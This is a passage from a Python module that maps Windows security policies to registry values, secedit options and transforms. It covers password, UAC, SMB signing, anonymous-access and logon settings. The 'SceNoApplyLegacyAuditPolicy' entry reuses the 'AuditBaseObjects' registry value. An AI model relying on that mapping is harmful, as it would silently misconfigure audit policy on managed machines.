                                                    'scripts.ini'),
                        },
                    },
                    'ShutdownPowershellScripts': {
                        'Policy': 'Shutdown Powershell Scripts',
                        'lgpo_section': ['Computer Configuration',
                                         'Windows Settings',
                                         'Scripts (Startup/Shutdown)',
                                         'Shutdown'],
                        'ScriptIni': {
                            'Section': 'Shutdown',
                            'IniPath': os.path.join(os.getenv('WINDIR'),
                                                    'System32',
                                                    'GroupPolicy',
                                                    'Machine',
                                                    'Scripts',
                                                    'psscripts.ini'),
                        },
                    },
                    'ShutdownPowershellScriptOrder': {
                        'Policy': 'Shutdown - For this GPO, run scripts in the '
                                  'following order',
                        'lgpo_section': ['Computer Configuration',
                                         'Windows Settings',
                                         'Scripts (Startup/Shutdown)',
                                         'Shutdown'],
                        'ScriptIni': {
                            'IniPath': os.path.join(os.getenv('WINDIR'),
                                                    'System32',
                                                    'GroupPolicy',
                                                    'Machine',
                                                    'Scripts',
                                                    'psscripts.ini'),
                            'Section': 'ScriptsConfig',
                            'SettingName': 'EndExecutePSFirst',
                            'Settings': ['true', 'false', None],
                        },
                        'Transform': {
                            'Get': '_powershell_script_order_conversion',
                            'Put': '_powershell_script_order_reverse_conversion',
                        },
                    },
                    'LSAAnonymousNameLookup': {
                        'Policy': 'Network access: Allow anonymous SID/Name '
                                  'translation',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero_no_not_defined.keys(),
                        'Secedit': {
                            'Option': 'LSAAnonymousNameLookup',
                            'Section': 'System Access',
                        },
                        'Transform': self.enabled_one_disabled_zero_no_not_defined_transform,
                    },
                    'RestrictAnonymousSam': {
                        'Policy': 'Network access: Do not allow anonymous '
                                  'enumeration of SAM accounts',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'RestrictAnonymousSam',
                            'Type': 'REG_DWORD'
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'RestrictAnonymous': {
                        'Policy': 'Network access: Do not allow anonymous '
                                  'enumeration of SAM accounts and shares',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'RestrictAnonymous',
                            'Type': 'REG_DWORD'
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'DisableDomainCreds': {
                        'Policy': 'Network access: Do not allow storage of '
                                  'passwords and credentials for network '
                                  'authentication',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'DisableDomainCreds',
                            'Type': 'REG_DWORD'
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EveryoneIncludesAnonymous': {
                        'Policy': 'Network access: Let Everyone permissions '
                                  'apply to anonymous users',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'everyoneincludesanonymous',
                            'Type': 'REG_DWORD'
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'NullSessionPipes': {
                        'Policy': 'Network access: Named Pipes that can be '
                                  'accessed anonymously',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'NullSessionPipes',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'RemoteRegistryExactPaths': {
                        'Policy': 'Network access: Remotely accessible '
                                  'registry paths',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\'
                                    'SecurePipeServers\\winreg\\'
                                    'AllowedExactPaths',
                            'Value': 'Machine',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'RemoteRegistryPaths': {
                        'Policy': 'Network access: Remotely accessible '
                                  'registry paths and sub-paths',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\'
                                    'SecurePipeServers\\winreg\\AllowedPaths',
                            'Value': 'Machine',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'RestrictNullSessAccess': {
                        'Policy': 'Network access: Restrict anonymous access '
                                  'to Named Pipes and Shares',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'RestrictNullSessAccess',
                            'Type': 'REG_DWORD'
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'NullSessionShares': {
                        'Policy': 'Network access: Shares that can be accessed '
                                  'anonymously',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'NullSessionShares',
                            'Type': 'REG_MULTI_SZ'
                        },
                        'Transform': {
                            'Put': '_multi_string_put_transform'
                        }
                    },
                    'ForceGuest': {
                        'Policy': 'Network access: Sharing and security model '
                                  'for local accounts',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.force_guest.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'ForceGuest',
                            'Type': 'REG_DWORD'
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.force_guest,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.force_guest,
                                'value_lookup': True,
                            },
                        },
                    },
                    'PasswordHistory': {
                        'Policy': 'Enforce password history',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 24}
                        },
                        'NetUserModal': {
                            'Modal': 0,
                            'Option': 'password_hist_len'
                        },
                    },
                    'MaxPasswordAge': {
                        'Policy': 'Maximum password age',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 1,
                                     'max': 86313600,
                                     'zero_value': 0xffffffff}
                        },
                        'NetUserModal': {
                            'Modal': 0,
                            'Option': 'max_passwd_age',
                        },
                        'Transform': {
                            'Get': '_seconds_to_days',
                            'Put': '_days_to_seconds',
                            'GetArgs': {'zero_value': 0xffffffff},
                            'PutArgs': {'zero_value': 0xffffffff}
                        },
                    },
                    'MinPasswordAge': {
                        'Policy': 'Minimum password age',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 86313600}
                        },
                        'NetUserModal': {
                            'Modal': 0,
                            'Option': 'min_passwd_age',
                        },
                        'Transform': {
                            'Get': '_seconds_to_days',
                            'Put': '_days_to_seconds'
                        },
                    },
                    'MinPasswordLen': {
                        'Policy': 'Minimum password length',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 14}
                        },
                        'NetUserModal': {
                            'Modal': 0,
                            'Option': 'min_passwd_len',
                        },
                    },
                    'PasswordComplexity': {
                        'Policy': 'Password must meet complexity requirements',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero_no_not_defined.keys(),
                        'Secedit': {
                            'Option': 'PasswordComplexity',
                            'Section': 'System Access',
                        },
                        'Transform': self.enabled_one_disabled_zero_no_not_defined_transform,
                    },
                    'ClearTextPasswords': {
                        'Policy': 'Store passwords using reversible encryption',
                        'lgpo_section': self.password_policy_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero_no_not_defined.keys(),
                        'Secedit': {
                            'Option': 'ClearTextPassword',
                            'Section': 'System Access',
                        },
                        'Transform': self.enabled_one_disabled_zero_no_not_defined_transform,
                    },
                    'AdminAccountStatus': {
                        'Policy': 'Accounts: Administrator account status',
                        'Settings': self.enabled_one_disabled_zero_no_not_defined.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Secedit': {
                            'Option': 'EnableAdminAccount',
                            'Section': 'System Access',
                        },
                        'Transform': self.enabled_one_disabled_zero_no_not_defined_transform,
                    },
                    'NoConnectedUser': {
                        'Policy': 'Accounts: Block Microsoft accounts',
                        'Settings': self.block_ms_accounts.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\'
                                    'CurrentVersion\\policies\\system',
                            'Value': 'NoConnectedUser',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.block_ms_accounts,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.block_ms_accounts,
                                'value_lookup': True,
                            },
                        },
                    },
                    'GuestAccountStatus': {
                        'Policy': 'Accounts: Guest account status',
                        'Settings': self.enabled_one_disabled_zero_no_not_defined.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Secedit': {
                            'Option': 'EnableGuestAccount',
                            'Section': 'System Access',
                        },
                        'Transform': self.enabled_one_disabled_zero_no_not_defined_transform,
                    },
                    'LimitBlankPasswordUse': {
                        'Policy': 'Accounts: Limit local account use of blank '
                                  'passwords to console logon only',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'limitblankpassworduse',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'RenameAdministratorAccount': {
                        'Policy': 'Accounts: Rename administrator account',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Secedit': {
                            'Option': 'NewAdministratorName',
                            'Section': 'System Access',
                        },
                        'Transform': {
                            'Get': '_strip_quotes',
                            'Put': '_add_quotes',
                        },
                    },
                    'RenameGuestAccount': {
                        'Policy': 'Accounts: Rename guest account',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
                        'Secedit': {
                            'Option': 'NewGuestName',
                            'Section': 'System Access',
                        },
                        'Transform': {
                            'Get': '_strip_quotes',
                            'Put': '_add_quotes',
                        },
                    },
                    'AuditBaseObjects': {
                        'Policy': 'Audit: Audit the access of global system '
                                  'objects',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'AuditBaseObjects',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform
                    },
                    'SceNoApplyLegacyAuditPolicy': {
                        'Policy': 'Audit: Force audit policy subcategory '
                                  'settings (Windows Vista or later) to '
                                  'override audit policy category settings',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'AuditBaseObjects',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform
                    },
                    'DontDisplayLastUserName': {
                        'Policy': 'Interactive logon: Do not display last user '
                                  'name',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'DontDisplayLastUserName',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'CachedLogonsCount': {
                        'Policy': 'Interactive logon: Number of previous '
                                  'logons to cache (in case domain controller '
                                  'is not available)',
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 50}
                        },
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'CachedLogonsCount',
                            'Type': 'REG_SZ',
                        },
                    },
                    'ForceUnlockLogon': {
                        'Policy': 'Interactive logon: Require Domain '
                                  'Controller authentication to unlock '
                                  'workstation',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'ForceUnlockLogon',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ScRemoveOption': {
                        'Policy': 'Interactive logon: Smart card removal '
                                  'behavior',
                        'Settings': self.sc_removal_lookup.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'ScRemoveOption',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.sc_removal_lookup,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.sc_removal_lookup,
                                'value_lookup': True,
                            },
                        },
                    },
                    'DisableCAD': {
                        'Policy': 'Interactive logon: Do not require '
                                  'CTRL+ALT+DEL',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'DisableCAD',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'FilterAdministratorToken': {
                        'Policy': 'User Account Control: Admin Approval Mode '
                                  'for the built-in Administrator account',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'FilterAdministratorToken',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EnableUIADesktopToggle': {
                        'Policy': 'User Account Control: Allow UIAccess '
                                  'applications to prompt for elevation '
                                  'without using the secure desktop',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'EnableUIADesktopToggle',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ConsentPromptBehaviorAdmin': {
                        'Policy': 'User Account Control: Behavior of the '
                                  'elevation prompt for administrators in '
                                  'Admin Approval Mode',
                        'Settings': self.uac_admin_prompt_lookup.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'ConsentPromptBehaviorAdmin',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.uac_admin_prompt_lookup,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.uac_admin_prompt_lookup,
                                'value_lookup': True,
                            },
                        },
                    },
                    'ConsentPromptBehaviorUser': {
                        'Policy': 'User Account Control: Behavior of the '
                                  'elevation prompt for standard users',
                        'Settings': self.uac_user_prompt_lookup.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'ConsentPromptBehaviorUser',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.uac_user_prompt_lookup,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.uac_user_prompt_lookup,
                                'value_lookup': True,
                            },
                        },
                    },
                    'EnableInstallerDetection': {
                        'Policy': 'User Account Control: Detect application '
                                  'installations and prompt for elevation',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'EnableInstallerDetection',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ValidateAdminCodeSignatures': {
                        'Policy': 'User Account Control: Only elevate '
                                  'executables that are signed and validated',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'ValidateAdminCodeSignatures',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EnableSecureUIAPaths': {
                        'Policy': 'User Account Control: Only elevate UIAccess '
                                  'applications that are installed in secure '
                                  'locations',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'EnableSecureUIAPaths',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EnableLUA': {
                        'Policy': 'User Account Control: Run all '
                                  'administrators in Admin Approval Mode',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'EnableLUA',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'PromptOnSecureDesktop': {
                        'Policy': 'User Account Control: Switch to the secure '
                                  'desktop when prompting for elevation',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'PromptOnSecureDesktop',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EnableVirtualization': {
                        'Policy': 'User Account Control: Virtualize file and '
                                  'registry write failures to per-user '
                                  'locations',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'EnableVirtualization',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'PasswordExpiryWarning': {
                        'Policy': 'Interactive logon: Prompt user to change '
                                  'password before expiration',
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 999}
                        },
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'PasswordExpiryWarning',
                            'Type': 'REG_DWORD',
                        },
                    },
                    'MaxDevicePasswordFailedAttempts': {
                        'Policy': 'Interactive logon: Machine account lockout '
                                  'threshold',
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 999}
                        },
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\'
                                    'CurrentVersion\\policies\\system',
                            'Value': 'MaxDevicePasswordFailedAttempts',
                            'Type': 'REG_DWORD',
                        },
                    },
                    'InactivityTimeoutSecs': {
                        'Policy': 'Interactive logon: Machine inactivity limit',
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 599940}
                        },
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\'
                                    'CurrentVersion\\policies\\system',
                            'Value': 'InactivityTimeoutSecs',
                            'Type': 'REG_DWORD',
                        },
                    },
                    'legalnoticetext': {
                        'Policy': 'Interactive logon: Message text for users '
                                  'attempting to log on',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\'
                                    'CurrentVersion\\policies\\system',
                            'Value': 'legalnoticetext',
                            'Type': 'REG_SZ',
                        },
                        'Transform': {
                            'Put': '_string_put_transform'
                        }
                    },
                    'legalnoticecaption': {
                        'Policy': 'Interactive logon: Message title for users '
                                  'attempting to log on',
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\'
                                    'CurrentVersion\\policies\\system',
                            'Value': 'legalnoticecaption',
                            'Type': 'REG_SZ',
                        },
                        'Transform': {
                            'Put': '_string_put_transform'
                        }
                    },
                    'DontDisplayLockedUserId': {
                        'Policy': 'Interactive logon: Display user information '
                                  'when the session is locked',
                        'Settings': self.locked_session_user_info.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SOFTWARE\\Microsoft\\Windows\\'
                                    'CurrentVersion\\policies\\system',
                            'Value': 'DontDisplayLockedUserId',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.locked_session_user_info,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.locked_session_user_info,
                                'value_lookup': True,
                            },
                        }
                    },
                    'ScForceOption': {
                        'Policy': 'Interactive logon: Require smart card',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'ScForceOption',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'Client_RequireSecuritySignature': {
                        'Policy': 'Microsoft network client: Digitally sign '
                                  'communications (always)',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanWorkstation\\Parameters',
                            'Value': 'RequireSecuritySignature',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'Client_EnableSecuritySignature': {
                        'Policy': 'Microsoft network client: Digitally sign '
                                  'communications (if server agrees)',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanWorkstation\\Parameters',
                            'Value': 'EnableSecuritySignature',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EnablePlainTextPassword': {
                        'Policy': 'Microsoft network client: Send unencrypted '
                                  'password to third-party SMB servers',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanWorkstation\\Parameters',
                            'Value': 'EnablePlainTextPassword',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'AutoDisconnect': {
                        'Policy': 'Microsoft network server: Amount of idle '
                                  'time required before suspending session',
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 99999}
                        },
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'AutoDisconnect',
                            'Type': 'REG_DWORD',
                        },
                    },
                    'EnableS4U2SelfForClaims': {
                        'Policy': 'Microsoft network server: Attempt S4U2Self '
                                  'to obtain claim information',
                        'Settings': self.s4u2self_options.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'EnableS4U2SelfForClaims',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.s4u2self_options,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.s4u2self_options,
                                'value_lookup': True,
                            },
                        },
                    },
                    'Server_RequireSecuritySignature': {
                        'Policy': 'Microsoft network server: Digitally sign '
                                  'communications (always)',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'RequireSecuritySignature',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'Server_EnableSecuritySignature': {
                        'Policy': 'Microsoft network server: Digitally sign '
                                  'communications (if client agrees)',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'EnableSecuritySignature',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'EnableForcedLogoff': {
                        'Policy': 'Microsoft network server: Disconnect '
                                  'clients when logon hours expire',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'EnableForcedLogoff',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'SmbServerNameHardeningLevel': {
                        'Policy': 'Microsoft network server: Server SPN target '
                                  'name validation level',
                        'Settings': self.smb_server_name_hardening_levels.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'LanmanServer\\Parameters',
                            'Value': 'SmbServerNameHardeningLevel',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
